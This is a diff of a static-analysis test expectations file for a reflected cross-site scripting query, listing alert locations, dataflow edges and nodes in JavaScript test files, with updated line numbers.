+| formatting.js:7:14:7:53 | require ... , evil) | formatting.js:4:16:4:29 | req.query.evil | formatting.js:7:14:7:53 | require ... , evil) | Cross-site scripting vulnerability due to a $@. | formatting.js:4:16:4:29 | req.query.evil | user-provided value |
+| live-server.js:6:13:6:50 | `<html> ... /html>` | live-server.js:4:21:4:27 | req.url | live-server.js:6:13:6:50 | `<html> ... /html>` | Cross-site scripting vulnerability due to a $@. | live-server.js:4:21:4:27 | req.url | user-provided value |
+| live-server.js:12:13:12:50 | `<html> ... /html>` | live-server.js:10:21:10:27 | req.url | live-server.js:12:13:12:50 | `<html> ... /html>` | Cross-site scripting vulnerability due to a $@. | live-server.js:10:21:10:27 | req.url | user-provided value |
+| pages/Next.jsx:8:13:8:19 | req.url | pages/Next.jsx:8:13:8:19 | req.url | pages/Next.jsx:8:13:8:19 | req.url | Cross-site scripting vulnerability due to a $@. | pages/Next.jsx:8:13:8:19 | req.url | user-provided value |
+| pages/Next.jsx:15:13:15:19 | req.url | pages/Next.jsx:15:13:15:19 | req.url | pages/Next.jsx:15:13:15:19 | req.url | Cross-site scripting vulnerability due to a $@. | pages/Next.jsx:15:13:15:19 | req.url | user-provided value |
+| pages/api/myapi.js:2:14:2:20 | req.url | pages/api/myapi.js:2:14:2:20 | req.url | pages/api/myapi.js:2:14:2:20 | req.url | Cross-site scripting vulnerability due to a $@. | pages/api/myapi.js:2:14:2:20 | req.url | user-provided value |
+| partial.js:10:14:10:18 | x + y | partial.js:13:42:13:48 | req.url | partial.js:10:14:10:18 | x + y | Cross-site scripting vulnerability due to a $@. | partial.js:13:42:13:48 | req.url | user-provided value |
+| partial.js:19:14:19:18 | x + y | partial.js:22:51:22:57 | req.url | partial.js:19:14:19:18 | x + y | Cross-site scripting vulnerability due to a $@. | partial.js:22:51:22:57 | req.url | user-provided value |
+| partial.js:28:14:28:18 | x + y | partial.js:31:47:31:53 | req.url | partial.js:28:14:28:18 | x + y | Cross-site scripting vulnerability due to a $@. | partial.js:31:47:31:53 | req.url | user-provided value |
+| partial.js:37:14:37:18 | x + y | partial.js:40:43:40:49 | req.url | partial.js:37:14:37:18 | x + y | Cross-site scripting vulnerability due to a $@. | partial.js:40:43:40:49 | req.url | user-provided value |
+| promises.js:6:25:6:25 | x | promises.js:5:44:5:57 | req.query.data | promises.js:6:25:6:25 | x | Cross-site scripting vulnerability due to a $@. | promises.js:5:44:5:57 | req.query.data | user-provided value |
+| tst2.js:7:12:7:12 | p | tst2.js:6:9:6:9 | p | tst2.js:7:12:7:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:6:9:6:9 | p | user-provided value |
+| tst2.js:8:12:8:12 | r | tst2.js:6:12:6:15 | q: r | tst2.js:8:12:8:12 | r | Cross-site scripting vulnerability due to a $@. | tst2.js:6:12:6:15 | q: r | user-provided value |
+| tst2.js:18:12:18:12 | p | tst2.js:14:9:14:9 | p | tst2.js:18:12:18:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:14:9:14:9 | p | user-provided value |
+| tst2.js:21:14:21:14 | p | tst2.js:14:9:14:9 | p | tst2.js:21:14:21:14 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:14:9:14:9 | p | user-provided value |
+| tst2.js:36:12:36:12 | p | tst2.js:30:9:30:9 | p | tst2.js:36:12:36:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:30:9:30:9 | p | user-provided value |
+| tst2.js:37:12:37:18 | other.p | tst2.js:30:9:30:9 | p | tst2.js:37:12:37:18 | other.p | Cross-site scripting vulnerability due to a $@. | tst2.js:30:9:30:9 | p | user-provided value |
+| tst2.js:51:12:51:17 | unsafe | tst2.js:43:9:43:9 | p | tst2.js:51:12:51:17 | unsafe | Cross-site scripting vulnerability due to a $@. | tst2.js:43:9:43:9 | p | user-provided value |
+| tst2.js:63:12:63:12 | p | tst2.js:57:9:57:9 | p | tst2.js:63:12:63:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:57:9:57:9 | p | user-provided value |
+| tst2.js:64:12:64:18 | other.p | tst2.js:57:9:57:9 | p | tst2.js:64:12:64:18 | other.p | Cross-site scripting vulnerability due to a $@. | tst2.js:57:9:57:9 | p | user-provided value |
+| tst2.js:75:12:75:12 | p | tst2.js:69:9:69:9 | p | tst2.js:75:12:75:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:69:9:69:9 | p | user-provided value |
+| tst2.js:76:12:76:18 | other.p | tst2.js:69:9:69:9 | p | tst2.js:76:12:76:18 | other.p | Cross-site scripting vulnerability due to a $@. | tst2.js:69:9:69:9 | p | user-provided value |
+| tst2.js:88:12:88:12 | p | tst2.js:82:9:82:9 | p | tst2.js:88:12:88:12 | p | Cross-site scripting vulnerability due to a $@. | tst2.js:82:9:82:9 | p | user-provided value |
+| tst2.js:89:12:89:18 | other.p | tst2.js:82:9:82:9 | p | tst2.js:89:12:89:18 | other.p | Cross-site scripting vulnerability due to a $@. | tst2.js:82:9:82:9 | p | user-provided value |
+| tst3.js:6:12:6:12 | p | tst3.js:5:9:5:9 | p | tst3.js:6:12:6:12 | p | Cross-site scripting vulnerability due to a $@. | tst3.js:5:9:5:9 | p | user-provided value |
+| tst3.js:12:12:12:15 | code | tst3.js:11:32:11:39 | reg.body | tst3.js:12:12:12:15 | code | Cross-site scripting vulnerability due to a $@. | tst3.js:11:32:11:39 | reg.body | user-provided value |
 edges
-| ReflectedXss.js:8:33:8:45 | req.params.id | ReflectedXss.js:8:14:8:45 | "Unknow ... rams.id | provenance |  |
-| ReflectedXss.js:17:31:17:39 | params.id | ReflectedXss.js:17:12:17:39 | "Unknow ... rams.id | provenance |  |
-| ReflectedXss.js:23:19:23:26 | req.body | ReflectedXss.js:23:12:23:27 | marked(req.body) | provenance |  |
-| ReflectedXss.js:42:31:42:38 | req.body | ReflectedXss.js:42:12:42:39 | convert ... q.body) | provenance |  |
-| ReflectedXss.js:64:14:64:21 | req.body | ReflectedXss.js:64:39:64:42 | file | provenance |  |
-| ReflectedXss.js:64:39:64:42 | file | ReflectedXss.js:65:16:65:19 | file | provenance |  |
-| ReflectedXss.js:68:12:68:41 | remark( ... q.body) | ReflectedXss.js:68:12:68:52 | remark( ... tring() | provenance |  |
-| ReflectedXss.js:68:33:68:40 | req.body | ReflectedXss.js:68:12:68:41 | remark( ... q.body) | provenance |  |
-| ReflectedXss.js:72:12:72:56 | unified ... q.body) | ReflectedXss.js:72:12:72:65 | unified ... oString | provenance |  |
-| ReflectedXss.js:72:48:72:55 | req.body | ReflectedXss.js:72:12:72:56 | unified ... q.body) | provenance |  |
-| ReflectedXss.js:74:20:74:27 | req.body | ReflectedXss.js:74:34:74:34 | f | provenance |  |
-| ReflectedXss.js:74:34:74:34 | f | ReflectedXss.js:75:14:75:14 | f | provenance |  |
-| ReflectedXss.js:84:22:84:29 | req.body | ReflectedXss.js:84:12:84:30 | snarkdown(req.body) | provenance |  |
-| ReflectedXss.js:85:23:85:30 | req.body | ReflectedXss.js:85:12:85:31 | snarkdown2(req.body) | provenance |  |
-| ReflectedXss.js:98:30:98:37 | req.body | ReflectedXss.js:98:12:98:38 | markdow ... q.body) | provenance |  |
-| ReflectedXss.js:100:31:100:38 | req.body | ReflectedXss.js:100:12:100:39 | markdow ... q.body) | provenance |  |
-| ReflectedXss.js:103:76:103:83 | req.body | ReflectedXss.js:103:12:103:84 | markdow ... q.body) | provenance |  |
-| ReflectedXss.js:114:11:114:41 | queryKeys | ReflectedXss.js:116:18:116:26 | queryKeys | provenance |  |
-| ReflectedXss.js:114:13:114:27 | keys: queryKeys | ReflectedXss.js:114:11:114:41 | queryKeys | provenance |  |
-| ReflectedXss.js:116:11:116:45 | keys | ReflectedXss.js:118:50:118:53 | keys | provenance |  |
-| ReflectedXss.js:116:11:116:45 | keys | ReflectedXss.js:118:58:118:61 | keys | provenance |  |
-| ReflectedXss.js:116:18:116:26 | queryKeys | ReflectedXss.js:116:11:116:45 | keys | provenance |  |
-| ReflectedXss.js:116:31:116:45 | paramKeys?.keys | ReflectedXss.js:116:11:116:45 | keys | provenance |  |
-| ReflectedXss.js:118:11:118:61 | keyArray | ReflectedXss.js:119:25:119:32 | keyArray | provenance |  |
-| ReflectedXss.js:118:11:118:61 | keyArray [0] | ReflectedXss.js:119:25:119:32 | keyArray [0] | provenance |  |
-| ReflectedXss.js:118:49:118:54 | [keys] [0] | ReflectedXss.js:118:11:118:61 | keyArray [0] | provenance |  |
-| ReflectedXss.js:118:50:118:53 | keys | ReflectedXss.js:118:49:118:54 | [keys] [0] | provenance |  |
-| ReflectedXss.js:118:58:118:61 | keys | ReflectedXss.js:118:11:118:61 | keyArray | provenance |  |
-| ReflectedXss.js:119:11:119:72 | invalidKeys | ReflectedXss.js:122:33:122:43 | invalidKeys | provenance |  |
-| ReflectedXss.js:119:11:119:72 | invalidKeys [0] | ReflectedXss.js:122:33:122:43 | invalidKeys [0] | provenance |  |
-| ReflectedXss.js:119:25:119:32 | keyArray | ReflectedXss.js:119:25:119:72 | keyArra ... s(key)) | provenance |  |
-| ReflectedXss.js:119:25:119:32 | keyArray [0] | ReflectedXss.js:119:25:119:72 | keyArra ... s(key)) [0] | provenance |  |
-| ReflectedXss.js:119:25:119:72 | keyArra ... s(key)) | ReflectedXss.js:119:11:119:72 | invalidKeys | provenance |  |
-| ReflectedXss.js:119:25:119:72 | keyArra ... s(key)) [0] | ReflectedXss.js:119:11:119:72 | invalidKeys [0] | provenance |  |
-| ReflectedXss.js:122:33:122:43 | invalidKeys | ReflectedXss.js:122:33:122:54 | invalid ... n(', ') | provenance |  |
-| ReflectedXss.js:122:33:122:43 | invalidKeys [0] | ReflectedXss.js:122:33:122:54 | invalid ... n(', ') | provenance |  |
-| ReflectedXss.js:122:33:122:54 | invalid ... n(', ') | ReflectedXss.js:122:30:122:73 | `${inva ... telist` | provenance |  |
+| ReflectedXss.js:7:33:7:45 | req.params.id | ReflectedXss.js:7:14:7:45 | "Unknow ... rams.id | provenance |  |
+| ReflectedXss.js:16:31:16:39 | params.id | ReflectedXss.js:16:12:16:39 | "Unknow ... rams.id | provenance |  |
+| ReflectedXss.js:22:19:22:26 | req.body | ReflectedXss.js:22:12:22:27 | marked(req.body) | provenance |  |
+| ReflectedXss.js:29:7:32:4 | mytable | ReflectedXss.js:33:12:33:18 | mytable | provenance |  |
+| ReflectedXss.js:29:17:32:4 | table([ ... ce\\n  ]) | ReflectedXss.js:29:7:32:4 | mytable | provenance |  |
+| ReflectedXss.js:31:14:31:21 | req.body | ReflectedXss.js:29:17:32:4 | table([ ... ce\\n  ]) | provenance |  |
+| ReflectedXss.js:41:31:41:38 | req.body | ReflectedXss.js:41:12:41:39 | convert ... q.body) | provenance |  |
+| ReflectedXss.js:63:14:63:21 | req.body | ReflectedXss.js:63:39:63:42 | file | provenance |  |
+| ReflectedXss.js:63:39:63:42 | file | ReflectedXss.js:64:16:64:19 | file | provenance |  |
+| ReflectedXss.js:67:12:67:41 | remark( ... q.body) | ReflectedXss.js:67:12:67:52 | remark( ... tring() | provenance |  |
+| ReflectedXss.js:67:33:67:40 | req.body | ReflectedXss.js:67:12:67:41 | remark( ... q.body) | provenance |  |
+| ReflectedXss.js:71:12:71:56 | unified ... q.body) | ReflectedXss.js:71:12:71:65 | unified ... oString | provenance |  |
+| ReflectedXss.js:71:48:71:55 | req.body | ReflectedXss.js:71:12:71:56 | unified ... q.body) | provenance |  |
+| ReflectedXss.js:73:20:73:27 | req.body | ReflectedXss.js:73:34:73:34 | f | provenance |  |
+| ReflectedXss.js:73:34:73:34 | f | ReflectedXss.js:74:14:74:14 | f | provenance |  |
+| ReflectedXss.js:83:22:83:29 | req.body | ReflectedXss.js:83:12:83:30 | snarkdown(req.body) | provenance |  |
+| ReflectedXss.js:84:23:84:30 | req.body | ReflectedXss.js:84:12:84:31 | snarkdown2(req.body) | provenance |  |
+| ReflectedXss.js:97:30:97:37 | req.body | ReflectedXss.js:97:12:97:38 | markdow ... q.body) | provenance |  |
+| ReflectedXss.js:99:31:99:38 | req.body | ReflectedXss.js:99:12:99:39 | markdow ... q.body) | provenance |  |
+| ReflectedXss.js:102:76:102:83 | req.body | ReflectedXss.js:102:12:102:84 | markdow ... q.body) | provenance |  |
+| ReflectedXss.js:113:11:113:41 | queryKeys | ReflectedXss.js:115:18:115:26 | queryKeys | provenance |  |
+| ReflectedXss.js:113:13:113:27 | keys: queryKeys | ReflectedXss.js:113:11:113:41 | queryKeys | provenance |  |
+| ReflectedXss.js:115:11:115:45 | keys | ReflectedXss.js:117:50:117:53 | keys | provenance |  |
+| ReflectedXss.js:115:11:115:45 | keys | ReflectedXss.js:117:58:117:61 | keys | provenance |  |
+| ReflectedXss.js:115:18:115:26 | queryKeys | ReflectedXss.js:115:11:115:45 | keys | provenance |  |
+| ReflectedXss.js:115:31:115:45 | paramKeys?.keys | ReflectedXss.js:115:11:115:45 | keys | provenance |  |
+| ReflectedXss.js:117:11:117:61 | keyArray | ReflectedXss.js:118:25:118:32 | keyArray | provenance |  |
+| ReflectedXss.js:117:11:117:61 | keyArray [0] | ReflectedXss.js:118:25:118:32 | keyArray [0] | provenance |  |
+| ReflectedXss.js:117:49:117:54 | [keys] [0] | ReflectedXss.js:117:11:117:61 | keyArray [0] | provenance |  |
+| ReflectedXss.js:117:50:117:53 | keys | ReflectedXss.js:117:49:117:54 | [keys] [0] | provenance |  |
+| ReflectedXss.js:117:58:117:61 | keys | ReflectedXss.js:117:11:117:61 | keyArray | provenance |  |
+| ReflectedXss.js:118:11:118:72 | invalidKeys | ReflectedXss.js:121:33:121:43 | invalidKeys | provenance |  |
+| ReflectedXss.js:118:11:118:72 | invalidKeys [0] | ReflectedXss.js:121:33:121:43 | invalidKeys [0] | provenance |  |
+| ReflectedXss.js:118:25:118:32 | keyArray | ReflectedXss.js:118:25:118:72 | keyArra ... s(key)) | provenance |  |
+| ReflectedXss.js:118:25:118:32 | keyArray [0] | ReflectedXss.js:118:25:118:72 | keyArra ... s(key)) [0] | provenance |  |
+| ReflectedXss.js:118:25:118:72 | keyArra ... s(key)) | ReflectedXss.js:118:11:118:72 | invalidKeys | provenance |  |
+| ReflectedXss.js:118:25:118:72 | keyArra ... s(key)) [0] | ReflectedXss.js:118:11:118:72 | invalidKeys [0] | provenance |  |
+| ReflectedXss.js:121:33:121:43 | invalidKeys | ReflectedXss.js:121:33:121:54 | invalid ... n(', ') | provenance |  |
+| ReflectedXss.js:121:33:121:43 | invalidKeys [0] | ReflectedXss.js:121:33:121:54 | invalid ... n(', ') | provenance |  |
+| ReflectedXss.js:121:33:121:54 | invalid ... n(', ') | ReflectedXss.js:121:30:121:73 | `${inva ... telist` | provenance |  |
 | ReflectedXssContentTypes.js:10:24:10:36 | req.params.id | ReflectedXssContentTypes.js:10:14:10:36 | "FOO: " ... rams.id | provenance |  |
 | ReflectedXssContentTypes.js:20:24:20:36 | req.params.id | ReflectedXssContentTypes.js:20:14:20:36 | "FOO: " ... rams.id | provenance |  |
 | ReflectedXssContentTypes.js:39:23:39:35 | req.params.id | ReflectedXssContentTypes.js:39:13:39:35 | "FOO: " ... rams.id | provenance |  |
@@ -144,63 +204,67 @@ edges
 | tst3.js:11:16:11:74 | prettie ... bel" }) | tst3.js:11:9:11:74 | code | provenance |  |
 | tst3.js:11:32:11:39 | reg.body | tst3.js:11:16:11:74 | prettie ... bel" }) | provenance |  |
 nodes
-| ReflectedXss.js:8:14:8:45 | "Unknow ... rams.id | semmle.label | "Unknow ... rams.id |
-| ReflectedXss.js:8:33:8:45 | req.params.id | semmle.label | req.params.id |
-| ReflectedXss.js:17:12:17:39 | "Unknow ... rams.id | semmle.label | "Unknow ... rams.id |
-| ReflectedXss.js:17:31:17:39 | params.id | semmle.label | params.id |
-| ReflectedXss.js:22:12:22:19 | req.body | semmle.label | req.body |
-| ReflectedXss.js:23:12:23:27 | marked(req.body) | semmle.label | marked(req.body) |
-| ReflectedXss.js:23:19:23:26 | req.body | semmle.label | req.body |
-| ReflectedXss.js:29:12:29:19 | req.body | semmle.label | req.body |
-| ReflectedXss.js:41:12:41:19 | req.body | semmle.label | req.body |
-| ReflectedXss.js:42:12:42:39 | convert ... q.body) | semmle.label | convert ... q.body) |
-| ReflectedXss.js:42:31:42:38 | req.body | semmle.label | req.body |
-| ReflectedXss.js:56:12:56:19 | req.body | semmle.label | req.body |
-| ReflectedXss.js:64:14:64:21 | req.body | semmle.label | req.body |
-| ReflectedXss.js:64:39:64:42 | file | semmle.label | file |
-| ReflectedXss.js:65:16:65:19 | file | semmle.label | file |
-| ReflectedXss.js:68:12:68:41 | remark( ... q.body) | semmle.label | remark( ... q.body) |
-| ReflectedXss.js:68:12:68:52 | remark( ... tring() | semmle.label | remark( ... tring() |
-| ReflectedXss.js:68:33:68:40 | req.body | semmle.label | req.body |
-| ReflectedXss.js:72:12:72:56 | unified ... q.body) | semmle.label | unified ... q.body) |
-| ReflectedXss.js:72:12:72:65 | unified ... oString | semmle.label | unified ... oString |
-| ReflectedXss.js:72:48:72:55 | req.body | semmle.label | req.body |
-| ReflectedXss.js:74:20:74:27 | req.body | semmle.label | req.body |
-| ReflectedXss.js:74:34:74:34 | f | semmle.label | f |
-| ReflectedXss.js:75:14:75:14 | f | semmle.label | f |
-| ReflectedXss.js:83:12:83:19 | req.body | semmle.label | req.body |
-| ReflectedXss.js:84:12:84:30 | snarkdown(req.body) | semmle.label | snarkdown(req.body) |
-| ReflectedXss.js:84:22:84:29 | req.body | semmle.label | req.body |
-| ReflectedXss.js:85:12:85:31 | snarkdown2(req.body) | semmle.label | snarkdown2(req.body) |
-| ReflectedXss.js:85:23:85:30 | req.body | semmle.label | req.body |
-| ReflectedXss.js:97:12:97:19 | req.body | semmle.label | req.body |
-| ReflectedXss.js:98:12:98:38 | markdow ... q.body) | semmle.label | markdow ... q.body) |
-| ReflectedXss.js:98:30:98:37 | req.body | semmle.label | req.body |
-| ReflectedXss.js:100:12:100:39 | markdow ... q.body) | semmle.label | markdow ... q.body) |
-| ReflectedXss.js:100:31:100:38 | req.body | semmle.label | req.body |
-| ReflectedXss.js:103:12:103:84 | markdow ... q.body) | semmle.label | markdow ... q.body) |
-| ReflectedXss.js:103:76:103:83 | req.body | semmle.label | req.body |
-| ReflectedXss.js:110:16:110:30 | request.query.p | semmle.label | request.query.p |
-| ReflectedXss.js:114:11:114:41 | queryKeys | semmle.label | queryKeys |
-| ReflectedXss.js:114:13:114:27 | keys: queryKeys | semmle.label | keys: queryKeys |
-| ReflectedXss.js:116:11:116:45 | keys | semmle.label | keys |
-| ReflectedXss.js:116:18:116:26 | queryKeys | semmle.label | queryKeys |
-| ReflectedXss.js:116:31:116:45 | paramKeys?.keys | semmle.label | paramKeys?.keys |
-| ReflectedXss.js:118:11:118:61 | keyArray | semmle.label | keyArray |
-| ReflectedXss.js:118:11:118:61 | keyArray [0] | semmle.label | keyArray [0] |
-| ReflectedXss.js:118:49:118:54 | [keys] [0] | semmle.label | [keys] [0] |
-| ReflectedXss.js:118:50:118:53 | keys | semmle.label | keys |
-| ReflectedXss.js:118:58:118:61 | keys | semmle.label | keys |
-| ReflectedXss.js:119:11:119:72 | invalidKeys | semmle.label | invalidKeys |
-| ReflectedXss.js:119:11:119:72 | invalidKeys [0] | semmle.label | invalidKeys [0] |
-| ReflectedXss.js:119:25:119:32 | keyArray | semmle.label | keyArray |
-| ReflectedXss.js:119:25:119:32 | keyArray [0] | semmle.label | keyArray [0] |
-| ReflectedXss.js:119:25:119:72 | keyArra ... s(key)) | semmle.label | keyArra ... s(key)) |
-| ReflectedXss.js:119:25:119:72 | keyArra ... s(key)) [0] | semmle.label | keyArra ... s(key)) [0] |
-| ReflectedXss.js:122:30:122:73 | `${inva ... telist` | semmle.label | `${inva ... telist` |
-| ReflectedXss.js:122:33:122:43 | invalidKeys | semmle.label | invalidKeys |
-| ReflectedXss.js:122:33:122:43 | invalidKeys [0] | semmle.label | invalidKeys [0] |
-| ReflectedXss.js:122:33:122:54 | invalid ... n(', ') | semmle.label | invalid ... n(', ') |
+| ReflectedXss.js:7:14:7:45 | "Unknow ... rams.id | semmle.label | "Unknow ... rams.id |
+| ReflectedXss.js:7:33:7:45 | req.params.id | semmle.label | req.params.id |
+| ReflectedXss.js:16:12:16:39 | "Unknow ... rams.id | semmle.label | "Unknow ... rams.id |
+| ReflectedXss.js:16:31:16:39 | params.id | semmle.label | params.id |
+| ReflectedXss.js:21:12:21:19 | req.body | semmle.label | req.body |
+| ReflectedXss.js:22:12:22:27 | marked(req.body) | semmle.label | marked(req.body) |
+| ReflectedXss.js:22:19:22:26 | req.body | semmle.label | req.body |
+| ReflectedXss.js:28:12:28:19 | req.body | semmle.label | req.body |
+| ReflectedXss.js:29:7:32:4 | mytable | semmle.label | mytable |
+| ReflectedXss.js:29:17:32:4 | table([ ... ce\\n  ]) | semmle.label | table([ ... ce\\n  ]) |
+| ReflectedXss.js:31:14:31:21 | req.body | semmle.label | req.body |
+| ReflectedXss.js:33:12:33:18 | mytable | semmle.label | mytable |
+| ReflectedXss.js:40:12:40:19 | req.body | semmle.label | req.body |
+| ReflectedXss.js:41:12:41:39 | convert ... q.body) | semmle.label | convert ... q.body) |
+| ReflectedXss.js:41:31:41:38 | req.body | semmle.label | req.body |
+| ReflectedXss.js:55:12:55:19 | req.body | semmle.label | req.body |
+| ReflectedXss.js:63:14:63:21 | req.body | semmle.label | req.body |
+| ReflectedXss.js:63:39:63:42 | file | semmle.label | file |
+| ReflectedXss.js:64:16:64:19 | file | semmle.label | file |
+| ReflectedXss.js:67:12:67:41 | remark( ... q.body) | semmle.label | remark( ... q.body) |
+| ReflectedXss.js:67:12:67:52 | remark( ... tring() | semmle.label | remark( ... tring() |
+| ReflectedXss.js:67:33:67:40 | req.body | semmle.label | req.body |
+| ReflectedXss.js:71:12:71:56 | unified ... q.body) | semmle.label | unified ... q.body) |
+| ReflectedXss.js:71:12:71:65 | unified ... oString | semmle.label | unified ... oString |
+| ReflectedXss.js:71:48:71:55 | req.body | semmle.label | req.body |
+| ReflectedXss.js:73:20:73:27 | req.body | semmle.label | req.body |
+| ReflectedXss.js:73:34:73:34 | f | semmle.label | f |
+| ReflectedXss.js:74:14:74:14 | f | semmle.label | f |
+| ReflectedXss.js:82:12:82:19 | req.body | semmle.label | req.body |
+| ReflectedXss.js:83:12:83:30 | snarkdown(req.body) | semmle.label | snarkdown(req.body) |
+| ReflectedXss.js:83:22:83:29 | req.body | semmle.label | req.body |
+| ReflectedXss.js:84:12:84:31 | snarkdown2(req.body) | semmle.label | snarkdown2(req.body) |
+| ReflectedXss.js:84:23:84:30 | req.body | semmle.label | req.body |
+| ReflectedXss.js:96:12:96:19 | req.body | semmle.label | req.body |
+| ReflectedXss.js:97:12:97:38 | markdow ... q.body) | semmle.label | markdow ... q.body) |
+| ReflectedXss.js:97:30:97:37 | req.body | semmle.label | req.body |
+| ReflectedXss.js:99:12:99:39 | markdow ... q.body) | semmle.label | markdow ... q.body) |
+| ReflectedXss.js:99:31:99:38 | req.body | semmle.label | req.body |
+| ReflectedXss.js:102:12:102:84 | markdow ... q.body) | semmle.label | markdow ... q.body) |
+| ReflectedXss.js:102:76:102:83 | req.body | semmle.label | req.body |
+| ReflectedXss.js:109:16:109:30 | request.query.p | semmle.label | request.query.p |
+| ReflectedXss.js:113:11:113:41 | queryKeys | semmle.label | queryKeys |
+| ReflectedXss.js:113:13:113:27 | keys: queryKeys | semmle.label | keys: queryKeys |
+| ReflectedXss.js:115:11:115:45 | keys | semmle.label | keys |
+| ReflectedXss.js:115:18:115:26 | queryKeys | semmle.label | queryKeys |
+| ReflectedXss.js:115:31:115:45 | paramKeys?.keys | semmle.label | paramKeys?.keys |
+| ReflectedXss.js:117:11:117:61 | keyArray | semmle.label | keyArray |
+| ReflectedXss.js:117:11:117:61 | keyArray [0] | semmle.label | keyArray [0] |
+| ReflectedXss.js:117:49:117:54 | [keys] [0] | semmle.label | [keys] [0] |
+| ReflectedXss.js:117:50:117:53 | keys | semmle.label | keys |
+| ReflectedXss.js:117:58:117:61 | keys | semmle.label | keys |
+| ReflectedXss.js:118:11:118:72 | invalidKeys | semmle.label | invalidKeys |
+| ReflectedXss.js:118:11:118:72 | invalidKeys [0] | semmle.label | invalidKeys [0] |
+| ReflectedXss.js:118:25:118:32 | keyArray | semmle.label | keyArray |
+| ReflectedXss.js:118:25:118:32 | keyArray [0] | semmle.label | keyArray [0] |
+| ReflectedXss.js:118:25:118:72 | keyArra ... s(key)) | semmle.label | keyArra ... s(key)) |
+| ReflectedXss.js:118:25:118:72 | keyArra ... s(key)) [0] | semmle.label | keyArra ... s(key)) [0] |
+| ReflectedXss.js:121:30:121:73 | `${inva ... telist` | semmle.label | `${inva ... telist` |
+| ReflectedXss.js:121:33:121:43 | invalidKeys | semmle.label | invalidKeys |
+| ReflectedXss.js:121:33:121:43 | invalidKeys [0] | semmle.label | invalidKeys [0] |
+| ReflectedXss.js:121:33:121:54 | invalid ... n(', ') | semmle.label | invalid ... n(', ') |
 | ReflectedXssContentTypes.js:10:14:10:36 | "FOO: " ... rams.id | semmle.label | "FOO: " ... rams.id |
 | ReflectedXssContentTypes.js:10:24:10:36 | req.params.id | semmle.label | req.params.id |
 | ReflectedXssContentTypes.js:20:14:20:36 | "FOO: " ... rams.id | semmle.label | "FOO: " ... rams.id |
@@ -334,59 +398,3 @@ nodes
 | tst3.js:12:12:12:15 | code | semmle.label | code |
 subpaths
 | ReflectedXssGood3.js:139:24:139:26 | url | ReflectedXssGood3.js:68:22:68:26 | value | ReflectedXssGood3.js:108:10:108:23 | parts.join('') | ReflectedXssGood3.js:139:12:139:27 | escapeHtml3(url) |
-#select
-| ReflectedXss.js:8:14:8:45 | "Unknow ... rams.id | ReflectedXss.js:8:33:8:45 | req.params.id | ReflectedXss.js:8:14:8:45 | "Unknow ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:8:33:8:45 | req.params.id | user-provided value |
-| ReflectedXss.js:17:12:17:39 | "Unknow ... rams.id | ReflectedXss.js:17:31:17:39 | params.id | ReflectedXss.js:17:12:17:39 | "Unknow ... rams.id | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:17:31:17:39 | params.id | user-provided value |
-| ReflectedXss.js:22:12:22:19 | req.body | ReflectedXss.js:22:12:22:19 | req.body | ReflectedXss.js:22:12:22:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:22:12:22:19 | req.body | user-provided value |
-| ReflectedXss.js:23:12:23:27 | marked(req.body) | ReflectedXss.js:23:19:23:26 | req.body | ReflectedXss.js:23:12:23:27 | marked(req.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:23:19:23:26 | req.body | user-provided value |
-| ReflectedXss.js:29:12:29:19 | req.body | ReflectedXss.js:29:12:29:19 | req.body | ReflectedXss.js:29:12:29:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:29:12:29:19 | req.body | user-provided value |
-| ReflectedXss.js:41:12:41:19 | req.body | ReflectedXss.js:41:12:41:19 | req.body | ReflectedXss.js:41:12:41:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:41:12:41:19 | req.body | user-provided value |
-| ReflectedXss.js:42:12:42:39 | convert ... q.body) | ReflectedXss.js:42:31:42:38 | req.body | ReflectedXss.js:42:12:42:39 | convert ... q.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:42:31:42:38 | req.body | user-provided value |
-| ReflectedXss.js:56:12:56:19 | req.body | ReflectedXss.js:56:12:56:19 | req.body | ReflectedXss.js:56:12:56:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:56:12:56:19 | req.body | user-provided value |
-| ReflectedXss.js:65:16:65:19 | file | ReflectedXss.js:64:14:64:21 | req.body | ReflectedXss.js:65:16:65:19 | file | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:64:14:64:21 | req.body | user-provided value |
-| ReflectedXss.js:68:12:68:52 | remark( ... tring() | ReflectedXss.js:68:33:68:40 | req.body | ReflectedXss.js:68:12:68:52 | remark( ... tring() | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:68:33:68:40 | req.body | user-provided value |
-| ReflectedXss.js:72:12:72:65 | unified ... oString | ReflectedXss.js:72:48:72:55 | req.body | ReflectedXss.js:72:12:72:65 | unified ... oString | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:72:48:72:55 | req.body | user-provided value |
-| ReflectedXss.js:75:14:75:14 | f | ReflectedXss.js:74:20:74:27 | req.body | ReflectedXss.js:75:14:75:14 | f | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:74:20:74:27 | req.body | user-provided value |
-| ReflectedXss.js:83:12:83:19 | req.body | ReflectedXss.js:83:12:83:19 | req.body | ReflectedXss.js:83:12:83:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:83:12:83:19 | req.body | user-provided value |
-| ReflectedXss.js:84:12:84:30 | snarkdown(req.body) | ReflectedXss.js:84:22:84:29 | req.body | ReflectedXss.js:84:12:84:30 | snarkdown(req.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:84:22:84:29 | req.body | user-provided value |
-| ReflectedXss.js:85:12:85:31 | snarkdown2(req.body) | ReflectedXss.js:85:23:85:30 | req.body | ReflectedXss.js:85:12:85:31 | snarkdown2(req.body) | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:85:23:85:30 | req.body | user-provided value |
-| ReflectedXss.js:97:12:97:19 | req.body | ReflectedXss.js:97:12:97:19 | req.body | ReflectedXss.js:97:12:97:19 | req.body | Cross-site scripting vulnerability due to a $@. | ReflectedXss.js:97:12:97:19 | req.body | user-provided value |
